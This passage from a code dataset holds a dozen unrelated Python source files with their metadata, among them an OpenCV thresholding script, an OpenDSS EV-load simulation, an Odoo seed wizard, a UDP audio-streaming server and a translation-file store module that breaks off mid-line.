__send_http_request(cls, req_prepared: Type[Request]) -> any:\n '''\n Prepare a session and send http request\n :param - req_prepare: Resquest Object with all params\n :response - Http response raw\n '''\n http_session = requests.Session()\n response = http_session.send(req_prepared)\n return response\n ","sub_path":"src/infra/swapi_api_consumer.py","file_name":"swapi_api_consumer.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"482647548","text":"import cv2 as cv\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nimg = cv.imread('1.jpg', 0)\nres = cv.resize(img, None, fx=0.1, fy=0.1, interpolation=cv.INTER_LINEAR)\n\n# cv.imshow('image', res)\n# k = cv.waitKey(0)\n\nimg = cv.medianBlur(res, 5)\n\nprint(img.shape)\n\n# res = np.zeros((20, 20, 3), np.uint8)\n\n# res = cv.resize(img, None, fx=0.1, fy=0.1, interpolation=cv.INTER_LINEAR)\n# 缩放十倍,比例不变\n# print(res.shape)\n\nret, th1 = cv.threshold(img, 0, 255, cv.THRESH_BINARY)\nth2 = cv.adaptiveThreshold(img,255,cv.ADAPTIVE_THRESH_MEAN_C,\n cv.THRESH_BINARY,11,2)\n# th2 = cv.adaptiveThreshold(img, 255, cv.ADAPTIVE_THRESH_MEAN_C, cv.THRESH_BINARY, 11, 2)\nth3 = cv.adaptiveThreshold(img, 255, cv.ADAPTIVE_THRESH_GAUSSIAN_C,\n cv.THRESH_BINARY, 11, 2)\n\ntitles = ['original Image', 'Global Thresholding(v = 127)',\n 'Adaptive Mean Thresholding', 'Adaptive Gaussian Thresholding']\n\nimages = [img, th1, th2, th3]\n\nfor i in range(4):\n plt.subplot(2, 2, i+1), plt.imshow(images[i], 'gray')\n plt.title(titles[i])\n plt.xticks([]), plt.yticks([])\nplt.show()\n\n# cv.imshow('image', res)\n# cv.imshow('image', th3)\nk = cv.waitKey(0)\n","sub_path":"6-10/ocr_1/image_dispose.py","file_name":"image_dispose.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"28133564","text":"# packages\r\nimport csv\r\nimport random\r\nimport copy\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport sys\r\nimport win32com.client\r\n\r\noutStem = '%PsOptev_losses.csv'\r\ntotalStem = '%PsOptev_total_load.csv'\r\n\r\nhousehold_profiles = []\r\nvehicle_profiles = []\r\n\r\nfor i in range(0,1000):\r\n household_profiles.append([0.0]*1440)\r\n vehicle_profiles.append([0.0]*1440)\r\n\r\ni = 0\r\nwith open('household_demand_pool.csv','rU') as csvfile:\r\n reader = csv.reader(csvfile)\r\n for row in reader:\r\n if row == []:\r\n continue\r\n for j in range(0,1000):\r\n household_profiles[j][i] = float(row[j])\r\n i += 1\r\n\r\ni = 0\r\nwith open('vehicle_demand_poolPO.csv','rU') as csvfile:\r\n reader = csv.reader(csvfile)\r\n for row in reader:\r\n if row == []:\r\n continue\r\n for j in range(0,1440):\r\n vehicle_profiles[i][j] = float(row[j])\r\n i += 1\r\n\r\n\r\n# convert vehicle profiles to time of use\r\nfor profile in vehicle_profiles:\r\n shiftedEnergy = 0\r\n for t in range(18*60,22*60):\r\n if profile[t] != 0:\r\n shiftedEnergy += profile[t]\r\n profile[t] = 0\r\n \r\n while shiftedEnergy > 0:\r\n if profile[t] == 0:\r\n profile[t] = 3.5\r\n shiftedEnergy -= 3.5\r\n t += 1\r\n\r\n if t == 1400:\r\n t = 0\r\n\r\n\r\nengine = win32com.client.Dispatch(\"OpenDSSEngine.DSS\")\r\nengine.Start(\"0\")\r\n\r\nfor pen in [1.0]:\r\n totalLoad = []\r\n L = []\r\n \r\n # I want to do this first without EVs, then with\r\n for mc in range(0,200):\r\n # pick the household demand profiles\r\n chosen = []\r\n while len(chosen) < 55:\r\n ran = int(random.random()*1000)\r\n if ran not in chosen:\r\n chosen.append(ran)\r\n\r\n chosenV = []\r\n while len(chosenV) < 55:\r\n ran = int(random.random()*1000)\r\n if ran not in chosenV:\r\n chosenV.append(ran)\r\n\r\n for i in range(1,56):\r\n with open('household-profiles/'+str(i)+'.csv','w') as csvfile:\r\n writer = csv.writer(csvfile)\r\n #if random.random() >= pen:\r\n if pen == 0.0:\r\n for j in range(0,1440):\r\n writer.writerow([household_profiles[chosen[i-1]][j]])\r\n else:\r\n for j in range(0,1440):\r\n writer.writerow([household_profiles[chosen[i-1]][j]+\\\r\n vehicle_profiles[chosenV[i-1]][j]])\r\n \r\n\r\n lowest = [1000.0]*1440\r\n highest = [0.0]*1440\r\n\r\n engine.text.Command='clear'\r\n circuit = engine.ActiveCircuit\r\n\r\n engine.text.Command='compile master.dss'\r\n\r\n engine.Text.Command='Export mon LINE1_PQ_vs_Time'\r\n\r\n powerIn = [0.0]*1440\r\n powerOut = [0.0]*1440\r\n\r\n with open('LVTest_Mon_line1_pq_vs_time.csv','rU') as csvfile:\r\n reader = csv.reader(csvfile)\r\n next(reader)\r\n i = 0\r\n for row in reader:\r\n powerIn[i] -= float(row[2])\r\n powerIn[i] -= float(row[4])\r\n powerIn[i] -= float(row[6])\r\n \r\n i += 1\r\n\r\n for hh in range(1,56):\r\n engine.Text.Command='Export mon hh'+str(hh)+'_pQ_vs_time'\r\n\r\n i = 0\r\n with open('LVTest_Mon_hh'+str(hh)+'_pq_vs_time.csv','rU') as csvfile:\r\n reader = csv.reader(csvfile)\r\n next(reader)\r\n for row in reader:\r\n powerOut[i] += float(row[2])\r\n i += 1\r\n\r\n totalLoad.append(powerOut)\r\n \r\n net = []\r\n for i in range(0,1440):\r\n net.append(powerIn[i]-powerOut[i])\r\n\r\n L.append(net)\r\n newL = []\r\n for i in range(0,1440):\r\n newL.append([0.0]*len(L))\r\n\r\n for i in range(0,len(L)):\r\n for j in range(0,1440):\r\n newL[j][i] = L[i][j]\r\n \r\n with open(str(int(100*pen))+outStem,'w') as csvfile:\r\n writer = csv.writer(csvfile)\r\n for row in newL:\r\n writer.writerow(row)\r\n\r\n with open(str(int(100*pen))+totalStem,'w') as csvfile:\r\n writer = csv.writer(csvfile)\r\n for row in totalLoad:\r\n writer.writerow(row)\r\n\r\n '''\r\n with open(str(int(100*pen))+pfStem,'w') as csvfile:\r\n writer = csv.writer(csvfile)\r\n for row in powerFactor:\r\n writer.writerow(row)\r\n '''\r\n \r\n\r\n","sub_path":"variability/VM -code/openDSSPsuedoOptLossesSimultation.py","file_name":"openDSSPsuedoOptLossesSimultation.py","file_ext":"py","file_size_in_byte":4551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"488612875","text":"# -*- coding: utf-8 -*-\n\nimport logging\nimport random\nimport time\nfrom odoo import api, fields, models, _\nfrom odoo.exceptions import UserError\nfrom calendar import monthrange\n_logger = logging.getLogger(__name__)\n\nclass ProductionHoutmeterSeed(models.TransientModel):\n _name = 'production.houtmeter.seed'\n\n @api.model\n def _default_employee(self):\n data = self.env['hr.employee'].sudo().search([ ], limit =1) \n return data[0]\n \n @api.model\n def _default_load_vehicle_id(self):\n data = self.env['fleet.vehicle'].sudo().search([ ], limit =1) \n return data[0]\n \n @api.model\n def _default_pile_vehicle_id(self):\n data = self.env['fleet.vehicle'].sudo().search([ ], limit =1) \n return data[0]\n \n @api.model\n def _default_cost_code_id(self):\n data = self.env['production.cost.code'].sudo().search([ ], limit =1) \n return data[0]\n \n @api.model\n def _default_block_id(self):\n data = self.env['production.block'].sudo().search([ ], limit =1) \n return data[0]\n\n @api.model\n def _default_picking_type(self):\n type_obj = self.env['stock.picking.type']\n company_id = self.env.context.get('company_id') or self.env.user.company_id.id\n types = type_obj.search([('code', '=', 'internal'), ('warehouse_id.company_id', '=', company_id)])\n if not types:\n types = type_obj.search([('code', '=', 'internal'), ('warehouse_id', '=', False)])\n return types[:1]\n\n date = fields.Date('Date', required=True, default=fields.Datetime.now )\n employee_id\t= fields.Many2one('hr.employee', string='Checker', required=True, default=_default_employee )\n shift = fields.Selection([\n ( \"1\" , '1'),\n ( \"2\" , '2'),\n ], string='Shift', index=True, required=True, default=\"1\" )\n warehouse_id = fields.Many2one(\n 'stock.warehouse', 'Origin Warehouse')\n location_ids = fields.Many2many('stock.location', 'houtmeter_seed_stock_location_rel', 'houtmeter_seed_id', 'stock_location_id', 'Location')\n cost_code_id = fields.Many2one('production.cost.code', string='Cost Code', ondelete=\"restrict\", required=True, default=_default_cost_code_id )\n block_id = fields.Many2one('production.block', string='Block', ondelete=\"restrict\", required=True, default=_default_block_id )\n vehicle_count = fields.Integer( string=\"Vehocle Count\", required=True, default=5 )\n\n # @api.onchange('warehouse_id')\t\n # def _change_wh(self):\n # for order in self:\n # location_ids = self.env['stock.location'].sudo().search([ ('location_id','=',order.warehouse_id.view_location_id.id ) ] )\n # self.update({\n # 'location_ids': [( 6, 0, location_ids.ids )],\n # })\n \n @api.multi\n def action_seed(self): \n hourmeter = self.env['production.hourmeter.order'].create({\n \"date\" : self.date ,\n \"employee_id\" : self.employee_id.id ,\n \"shift\" : self.shift,\n })\n hourmeter_id = hourmeter.id\n sql = '''select id, driver_id from fleet_vehicle where id in ( select vehicle_tag_id from fleet_vehicle_vehicle_tag_rel where tag_id = 10 ) and driver_id is not null ORDER BY RANDOM() limit ''' + str( self.vehicle_count )\n self.env.cr.execute( sql )\n vehicle_ids = [ (x[0], x[1] ) for x in self.env.cr.fetchall()]\n location_ids = self.location_ids.ids\n # _logger.warning(self.location_ids)\n # return\n for vehicle_id in vehicle_ids:\n self.env['production.vehicle.hourmeter.log'].create({\n \"hourmeter_order_id\" : hourmeter_id ,\n \"location_id\" : location_ids[ random.randrange( 0, len( location_ids ) ) ] ,\n \"cost_code_id\" : self.cost_code_id.id ,\n \"block_id\" : self.block_id.id ,\n \"vehicle_id\" : vehicle_id[0] ,\n \"driver_id\" : vehicle_id[1] ,\n \"start\" : 0 ,\n \"end\" : random.randrange( 1, 10 ) ,\n \"state\" : \"draft\",\n }).id\n hourmeter.action_confirm()\n hourmeter.action_done()\n","sub_path":"seed/production_houtmeter_seed.py","file_name":"production_houtmeter_seed.py","file_ext":"py","file_size_in_byte":4178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"333843092","text":"from preprocess.FeatureExtractor import Extractor\nfrom preprocess.SingleInterpreter import SingleInterpreter\nfrom Config import Config\n\n\nclass NaiveExtractor:\n def __init__(self, config):\n self.config = config\n\n def extract_paths(self, path):\n out, err = Extractor.extract(path)\n interpreter = SingleInterpreter()\n out = interpreter(out, err)\n # Here we use the extracted paths from our extractor.\n output = out.splitlines()\n if len(output) == 0:\n err = err.decode()\n raise ValueError(err)\n hash_to_string_dict = {}\n result = []\n for i, line in enumerate(output):\n parts = line.rstrip().split(' ')\n method_name = parts[0]\n current_result_line_parts = [method_name]\n contexts = parts[1:]\n for context in contexts[:self.config.MAX_CONTEXTS]:\n context_parts = context.split(',')\n context_word1 = context_parts[0]\n context_path = context_parts[1]\n context_word2 = context_parts[2]\n hashed_path = str(self.java_string_hashcode(context_path))\n hash_to_string_dict[hashed_path] = context_path\n current_result_line_parts += ['%s,%s,%s' % (context_word1, hashed_path, context_word2)]\n space_padding = ' ' * (self.config.MAX_CONTEXTS - len(contexts))\n result_line = ' '.join(current_result_line_parts) + space_padding\n result.append(result_line)\n return result, hash_to_string_dict\n\n @staticmethod\n def java_string_hashcode(s):\n \"\"\"\n Imitating Java's String#hashCode, because the model is trained on hashed paths but we wish to\n Present the path attention on un-hashed paths.\n \"\"\"\n h = 0\n for c in s:\n h = (31 * h + ord(c)) & 0xFFFFFFFF\n return ((h + 0x80000000) & 0xFFFFFFFF) - 0x80000000\n\n\nif __name__ == \"__main__\":\n ne = NaiveExtractor(config=Config.get_default_config())\n ne.extract_paths(\"/Users/LeonWong/Desktop/Test.java\")\n\n","sub_path":"src/c2v_model/NaiveExtractor.py","file_name":"NaiveExtractor.py","file_ext":"py","file_size_in_byte":2092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"626081473","text":"import pytorch_ctc\nimport json\nimport argparse\n\nparser = argparse.ArgumentParser(description='LM Trie Generation')\nparser.add_argument('--labels', help='path to label json file', default='labels.json')\nparser.add_argument('--dictionary', help='path to text dictionary (one word per line)', default='vocab.txt')\nparser.add_argument('--kenlm', help='path to binary kenlm language model', default=\"lm.kenlm\")\nparser.add_argument('--trie', help='path of trie to output', default='vocab.trie')\n\n\ndef main():\n args = parser.parse_args()\n with open(args.labels, \"r\") as fh:\n label_data = json.load(fh)\n\n labels = ''.join(label_data)\n\n pytorch_ctc.generate_lm_trie(args.dictionary, args.kenlm, args.trie, labels, labels.index('_'), labels.index(' '))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"generate_lm_trie.py","file_name":"generate_lm_trie.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"132528607","text":"import datetime\nimport itertools\nimport multiprocessing.dummy as multiprocessing\nimport time\n\nfrom django.core.management.base import BaseCommand\nfrom django.db import IntegrityError\nfrom tr_business_logic.apda.databuilder import Convert\nfrom tr_business_logic.apda.request import Apda41Easy\nfrom tr_rest.models import Card\nfrom tr_rest.models import Controller\nfrom tr_rest.models import Event\nfrom tr_rest.models import Reader\nfrom tr_rest.models import UserLocation\nimport itertools\n\n\nclass Command(BaseCommand):\n\n def handle(self, *args, **options):\n # try:\n while True:\n t = time.time()\n controllers = Controller.objects.filter(active=True)\n p = multiprocessing.Pool()\n results = p.map(lambda c: self.poll(c), controllers)\n p.close()\n p.join()\n events = list(itertools.chain(*results))\n if events:\n if Event.objects.bulk_create(events):\n for c in controllers:\n c.save()\n\n delay = time.time() - t\n if delay<0.55:\n time.sleep(0.55-delay)\n\n def poll(self, controller):\n events_data_list = []\n last_event = controller.last_event\n while True:\n events_data = Apda41Easy().get_events_data(controller, last_event + 1, 85)\n if not events_data:\n break\n events_data_list += events_data\n last_event += len(events_data)\n\n if events_data_list:\n events = self.create_events(events_data_list, controller)\n controller.last_event = last_event\n self.stdout.write(\"controller '%s': %s events added.\" % (controller.name, str(len(events_data_list))))\n return events\n return []\n\n def create_events(self, events_data_list, c):\n events = []\n for ev_data in events_data_list:\n events.append(\n Event(\n date = ev_data['date'],\n add_date = datetime.datetime.now(),\n message_id = ev_data['code'],\n data = Convert.bytes_to_int(ev_data['data']),\n device_id = ev_data['deviceid'],\n controller_id = c.controller_id,\n ))\n return events\n","sub_path":"tr_server/tr_rest/management/commands/event_poller.py","file_name":"event_poller.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"255257492","text":"#================================================================================================\n# Servidor UDP-Streaming\n#================================================================================================\n\n#==============\n# Bibliotecas\n#==============\n\nimport socket \nimport wave, struct\nimport pyaudio\nimport os\nimport threading\nimport time\nimport subprocess\nimport IPython\nimport gtts\nfrom gtts import gTTS\n#import IPyhton\nfrom pydub import AudioSegment\n\n#=========================================================================\n# Funciones para convertir formatos de audio y envio - Programa Principal\n#=========================================================================\n\ndef convertidor(nombre_archivo): # Funcion que permite convertir un archivo .WAV 8Khz, 8bits a muestras PCM\n global waveFile\n global length\n global frecuencia_1\n\n nombre_archivo = nombre_archivo + \"wav\"\n waveFile = wave.open(directorio + nombre_archivo, 'rb') # Se van a abrir los archivos que esten en esa carpeta\n\n formato = p.get_format_from_width(waveFile.getsampwidth())\n canales = waveFile.getnchannels()\n frecuencia_1 = waveFile.getframerate()\n frecuencia = int(waveFile.getframerate()/8000)\n\n lista = str(formato) + '.' + str(canales) + '.' + str(frecuencia)\n\n print(lista, frecuencia_1)\n length = waveFile.getnframes()\n print(\"Este es la longitud del archivo: \",length)\n\ndef revisar(): # Rutina que revisa si el archivo tiene extenxion .wav\n\n global error\n global audio\n wav = int(7823734)\n mensaje_r = mensaje # Si no la tiene lo convierte, \n mensaje_l = mensaje\n mensaje_r = mensaje_r[len(mensaje_r)-3:] # Solo se queda con la extenxion \n mensaje_r = int.from_bytes(mensaje_r, byteorder = 'big')# Para convertir la cadena byte a int\n lista_musica = os.listdir(directorio)\n\n try:\n lista_musica.index(mensaje.decode())\n try:\n\n audio_revisar = mensaje.decode()[:len(mensaje)-3] + \"wav\"\n lista_musica.index(audio_revisar)\n\n except ValueError:\n\n print('No se encuentra en formato .wav')\n\n if (mensaje_r - wav) != 0:\n mensaje_n = mensaje\n mensaje_3 = mensaje[len(mensaje)-3:]\n\n if mensaje_3 == b'mp3':\n print('Convirtiendo de formato .mp3 a formato .wav ...')\n sound_mp3 = AudioSegment.from_mp3(directorio + mensaje_n.decode())\n sound_mp3.export(directorio + mensaje_n.decode()[:len(mensaje)-3] + 'wav', format=\"wav\")\n\n elif mensaje_3 == b'ogg':\n print('Convirtiendo de formato .ogg a formato .wav ...')\n sound_ogg = AudioSegment.from_ogg(directorio + '\\\\' + mensaje_n.decode())\n sound_ogg.export(directorio + '\\\\' + mensaje_n.decode()[:len(mensaje)-3] + 'wav', format=\"wav\") \n\n elif mensaje_3 == b'flv':\n print('Convirtiendo de formato .flv a formato .wav ...')\n sound_flv = AudioSegment.from_ogg(directorio + '\\\\' + mensaje_n.decode())\n sound_flv.export(directorio + '\\\\' + mensaje_n.decode()[:len(mensaje)-3] + 'wav', format=\"wav\") \n\n elif mensaje_3 == b'aac':\n print('Convirtiendo de formato .aac a formato .wav ...')\n sound_aac = AudioSegment.from_file(directorio + '\\\\' + mensaje_n.decode(), 'aac')\n sound_aac.export(directorio + '\\\\' + mensaje_n.decode()[:len(mensaje)-3] + 'wav', format=\"wav\") \n\n except ValueError:\n print('no se encuentra el audio requerido')\n error = b'error'\n \n\ndef enviar():\n\n fragmento = int ((length/1024) + float(1))\n contador = 0\n print(\"El bucle deberia repetirse: \"+str(fragmento) +\"veces\")\n #x = input(\"ingresa algo\")\n for i in range(0, fragmento):\n datos = waveFile.readframes(1024)\n for i in range(0, len(direcciones)):\n addr = (direcciones[i], UDP_port)\n s.sendto(datos, addr)\n #if(contador==60):\n #time.sleep(0.019666666999999999999)\n time.sleep(0.032666666999999999999)\n #time.sleep(0.039666666999999999999) #ESTE FUNCIONA RELATIVAMENTE BIEN\n #time.sleep(0.01666666999999999999)\n #contador=0\n #time.sleep(0.0091)\n #else:\n # time.sleep(0.09999996942749023)\n\n#=============================================================================\n\n# Fin funciones para convertir formatos de audio y envio - Programa Principal\n\n#=============================================================================\n\n#====================================\n# Inicio del Main - Programa General\n#====================================\n\nif __name__ == '__main__':\n\n global direcciones\n global directorio\n UDP_port = 44444\n\n #direcciones =[\"192.168.1.10\",\"192.168.1.11\",\"192.168.1.12\",\"192.168.1.13\",\"192.168.1.14\"]\n\n direcciones =[\"192.168.1.15\"]\n directorio = '/home/kevin/audios/'\n\n IP_UDP = socket.gethostbyname_ex(socket.gethostname())[2][0]\n s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Asignando socket para conexion UDP\n s.bind(('',UDP_port))\n\n p = pyaudio.PyAudio()\n\n mensaje=b'synthesize.wav'\n# mensaje=b'mario-bros-mamma-mia.wav'\n# mensaje=b'mario2_aver.wav'\n\n while True: # El servidor UDP se queda mandando constantemente.\n \n if mensaje == b'Funcion_1':\n pass\n\n else: # Revisa si la musica requerida esta en formato .wav\n error = b'-'\n revisar() # Si no lo esta lo convierte a ese formato y lo conveirte a PCM\n if error != b'error':\n audio = mensaje.decode()[:len(mensaje)-3] # Convierte el bytes en string\n convertidor(audio) # Convierte el audio .wav a codificacion PCM\n enviar() # Envia los datos de audio al ESP8266\n #time.sleep(9)\n x=input()\n\n#=================================\n# Fin del Main - Programa General\n#=================================\n","sub_path":"serverUDP.py","file_name":"serverUDP.py","file_ext":"py","file_size_in_byte":6369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"189188890","text":"from lilaclib import *\n\ndef pre_build():\n depends_lily_re = re.compile(\n r'''^(depends=.*?)['\"]?linux-lily[^'\") ]*['\"]?''')\n\n kernel = _G.newvers[1]\n update_pkgver_and_pkgrel(_G.newver)\n for line in edit_file('PKGBUILD'):\n m = depends_lily_re.match(line)\n if m:\n line = depends_lily_re.sub(\n r'\\1\"linux-lily=%s\"' % kernel, line)\n print(line)\n\ndef post_build():\n git_pkgbuild_commit()\n","sub_path":"archlinuxcn/nvidia-lily/lilac.py","file_name":"lilac.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"594657485","text":"import staticmaps\nimport os\n\n\nclass StaticMapCreator(object):\n def __init__(self, \n poly_fill=\"#FF00003F\", \n line_color=\"#FF0000\", \n outline_color=\"#A60000\", \n marker_color=\"#FF0000\",\n line_width=2,\n outline_width=2,\n point_size=10\n ):\n self.point_size = point_size\n self.line_width = line_width\n self.outline_width = outline_width\n self.poly_fill = poly_fill\n self.line_color = line_color\n self.outline_color = outline_color\n self.marker_color = marker_color\n\n self.tile_provider_OSMH = staticmaps.TileProvider(\n \"humanitarian\",\n url_pattern=\"https://$s.tile.openstreetmap.fr/hot/$z/$x/$y.png\",\n shards=[\"a\", \"b\", \"c\"],\n attribution=\"Maps & Data (C) OpenStreetMap.org contributors\",\n max_zoom=19,\n )\n\n self.context = staticmaps.Context()\n # context.set_tile_provider(staticmaps.tile_provider_StamenTerrain)\n self.context.set_tile_provider(self.tile_provider_OSMH)\n\n def convert_from_polygon(self, coords):\n coords = coords[0]\n geom = staticmaps.Area(\n [staticmaps.create_latlng(lat, lng) for lng, lat in coords],\n fill_color=staticmaps.parse_color(self.poly_fill),\n width=self.outline_width,\n color=staticmaps.parse_color(self.outline_color),\n )\n self.context.add_object(geom)\n\n def convert_from_line(self, coords):\n geom = staticmaps.Line(\n [staticmaps.create_latlng(lat, lng) for lng, lat in coords],\n color=staticmaps.parse_color(self.outline_color),\n width=self.line_width + 2\n )\n self.context.add_object(geom)\n geom = staticmaps.Line(\n [staticmaps.create_latlng(lat, lng) for lng, lat in coords],\n color=staticmaps.parse_color(self.line_color),\n width=self.line_width\n )\n self.context.add_object(geom)\n\n def convert_from_point(self, coords):\n geom = staticmaps.Marker(\n staticmaps.create_latlng(coords[1], coords[0]),\n color=staticmaps.parse_color(self.marker_color),\n size=self.point_size\n )\n self.context.add_object(geom)\n\n def create_map(self, geojson, output, height=500, width=800):\n for feature in geojson[\"features\"]:\n coords = feature[\"geometry\"][\"coordinates\"]\n geom_type = feature[\"geometry\"][\"type\"]\n if geom_type == \"Polygon\":\n self.convert_from_polygon(coords)\n if geom_type == \"LineString\":\n self.convert_from_line(coords)\n if geom_type == \"Point\":\n self.convert_from_point(coords)\n # self.context.set_zoom(17)\n image = self.context.render_cairo(width, height)\n image.write_to_png(output)\n","sub_path":"afrh_prj/utils/create_static_map.py","file_name":"create_static_map.py","file_ext":"py","file_size_in_byte":2913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"173197925","text":"# -*- coding: UTF-8 -*-\nimport socket\n\nserver_addr=('127.0.0.1',1890)#写错了\n\nmyserver=socket.socket()\nmyserver.bind(server_addr)\n\nmyserver.listen(10)\n\n#welcome='my first server tsets'\n#myserver.send(\"welcome\")\n\n\nwhile True:\n\n connetion,client_addr=myserver.accept()\n connetion.send('welcome')\n get_data=connetion.recv(1024)\n print(\"client said:\",get_data)\n \nconnetion.close()\nmyserver.close()\n\n'''\n一个错误,server.accept()接收的不是客户端的嵌套字,而是新建立了一个 嵌套字,服务器通过它和客户端通信\n Q;那多线程呢?群聊呢?服务器通过多个socket交流吗?\n\n\n myclient,client_addr=myserver.accept()\n get_data=myclient.recv(1024)\n'''\n\n","sub_path":"learn_python_socket/myserver.py","file_name":"myserver.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"71180500","text":"import json\nimport jproperties\nimport polib\nfrom collections import OrderedDict\nfrom enum import IntEnum\nfrom xml.etree import ElementTree\n\n\nclass State(IntEnum):\n\tUNKNOWN = 0\n\tUNTRANSLATED = 1\n\tTRANSLATED = 2\n\tUNFINISHED = 3\n\n\nclass Store:\n\tDEFAULT_ENCODING = \"utf-8\"\n\tGLOBS = []\n\n\tdef __init__(self):\n\t\tself.units = []\n\t\tself.encoding = self.DEFAULT_ENCODING\n\n\t@classmethod\n\tdef from_store(cls, store):\n\t\tret = cls()\n\t\tret.units = store.units\n\t\treturn ret\n\n\nclass Unit:\n\tdef __init__(self, key, value, variants_key=None, variants_values=None):\n\t\tself.key = key\n\t\tself.value = value\n\t\tself.occurrences = []\n\t\tself.context = \"\"\n\t\tself.obsolete = False\n\t\tself.state = State.UNKNOWN\n\t\tself.variants_key = variants_key\n\t\tself.variants_values = variants_values\n\n\tdef __repr__(self):\n\t\tif self.variants_key:\n\t\t\treturn \" %r: %r: %s\" % (self.key, \n\t\t\t\tself.variants_key, self.variants_values)\n\t\treturn \"\" % (self.key, self.value)\n\n\nclass POStore(Store):\n\tGLOBS = [\"*.po\", \"*.pot\"]\n\n\tdef read(self, file, lang, srclang):\n\t\tpo = polib.pofile(file.read())\n\t\tlang = po.metadata.get(\"Language\", lang)\n\t\tfor entry in po:\n\t\t\tif entry.msgid_plural:\n\t\t\t\tunit = Unit(entry.msgid, entry.msgstr, entry.msgid_plural,\n\t\t\t\t\tentry.msgstr_plural)\n\t\t\telse:\n\t\t\t\tunit = Unit(entry.msgid, entry.msgstr)\n\t\t\tunit.lang = lang\n\t\t\tunit.context = entry.msgctxt\n\t\t\tunit.comment = entry.comment\n\t\t\tunit.translator_comment = entry.tcomment\n\t\t\tunit.obsolete = entry.obsolete\n\t\t\tunit.occurrences = entry.occurrences[:]\n\t\t\tflags = entry.flags\n\t\t\tif \"fuzzy\" in flags:\n\t\t\t\tunit.state = State.UNFINISHED\n\t\t\t\tflags.remove(\"fuzzy\")\n\t\t\tunit.po_flags = flags\n\t\t\tself.units.append(unit)\n\n\t\t\tif srclang:\n\t\t\t\t# Create a \"source\" unit as well\n\t\t\t\tif entry.msgid_plural:\n\t\t\t\t\tsrcunit = Unit(entry.msgid, entry.msgid, entry.msgid_plural,\n\t\t\t\t\t\t{0:entry.msgid, 1:entry.msgid_plural})\n\t\t\t\telse:\n\t\t\t\t\tsrcunit = Unit(entry.msgid, entry.msgid)\n\t\t\t\tsrcunit.lang = srclang\n\t\t\t\tsrcunit.context = entry.msgctxt\n\t\t\t\tsrcunit.obsolete = entry.obsolete\n\t\t\t\tsrcunit.occurrences = entry.occurrences[:]\n\t\t\t\tsrcunit.state = unit.state\n\t\t\t\tsrcunit.po_flags = flags\n\t\t\t\tself.units.append(srcunit)\n\n\n\tdef serialize(self):\n\t\tpo = polib.POFile()\n\t\tfor unit in self.units:\n\t\t\toccurences = unit.occurrences[:]\n\t\t\tentry = polib.POEntry(\n\t\t\t\tmsgid = unit.key,\n\t\t\t\tmsgstr = unit.value,\n\t\t\t\tcomment = getattr(unit, \"comment\", \"\"),\n\t\t\t\ttcomment = getattr(unit, \"translator_comment\", \"\"),\n\t\t\t\toccurences = occurences,\n\t\t\t\tobsolete = unit.obsolete,\n\t\t\t)\n\t\t\tif unit.variants_key:\n\t\t\t\tentry.msgid_plural = unit.variants_key\n\t\t\t\tentry.msgstr_plural = unit.variants_values\n\t\t\tif unit.context:\n\t\t\t\tentry.msgctxt = unit.context\n\t\t\tif hasattr(unit, \"po_flags\"):\n\t\t\t\tentry.flags = unit.po_flags[:]\n\t\t\tif unit.state == State.UNFINISHED:\n\t\t\t\tentry.flags.append(\"fuzzy\")\n\n\t\t\tpo.append(entry)\n\n\t\treturn str(po)\n\n\nclass JSONStore(Store):\n\tGLOBS = [\"*.json\"]\n\n\tdef read(self, file, lang):\n\t\td = json.load(file)\n\t\tfor key in sorted(d.keys()):\n\t\t\tif key == \"@metadata\":\n\t\t\t\tself.header = d[key]\n\t\t\t\tcontinue\n\t\t\tif not isinstance(d[key], str):\n\t\t\t\tdejson_values = {x:d[key][1][x] for x in range(len(d[key][1]))}\n\t\t\t\tunit = Unit(key, \"\", d[key][0], dejson_values)\n\t\t\telse:\n\t\t\t\tunit = Unit(key, d[key])\n\t\t\tunit.lang = lang\n\t\t\tself.units.append(unit)\n\n\tdef serialize(self):\n\t\tret = OrderedDict()\n\t\tfor unit in self.units:\n\t\t\tif unit.variants_key:\n\t\t\t\tlist_values = [unit.variants_values[x] for x in \n\t\t\t\tunit.variants_values]\n\t\t\t\tret[unit.key] = [unit.variants_key, list_values]\n\t\t\telse:\n\t\t\t\tret[unit.key] = unit.value\n\t\treturn json.dumps(ret)\n\n\nclass PropertiesStore(Store):\n\tGLOBS = [\"*.properties\"]\n\n\tdef read(self, file, lang):\n\t\tprops = jproperties.Properties()\n\t\tprops.load(file)\n\t\tcomment = None\n\t\tprev_unit = None\n\t\tfor node in props.nodes:\n\t\t\tif isinstance(node, jproperties.Comment):\n\t\t\t\tcomment = node.value\n\t\t\telif isinstance(node, jproperties.Property):\n\t\t\t\tif node.value.find(\";\") != -1:\n\t\t\t\t\t prev_unit.variants_key = node.key\n\t\t\t\t\t var_list = [prev_unit.value] + [x for x in node.value.split(\";\")]\n\t\t\t\t\t prev_unit.variants_values = {i:var_list[i] for i in range(len(var_list))}\n\t\t\t\t\t prev_unit.value = \"\"\n\t\t\t\t\t continue\n\t\t\t\telse:\n\t\t\t\t\tunit = Unit(node.key, node.value)\n\t\t\t\tunit.lang = 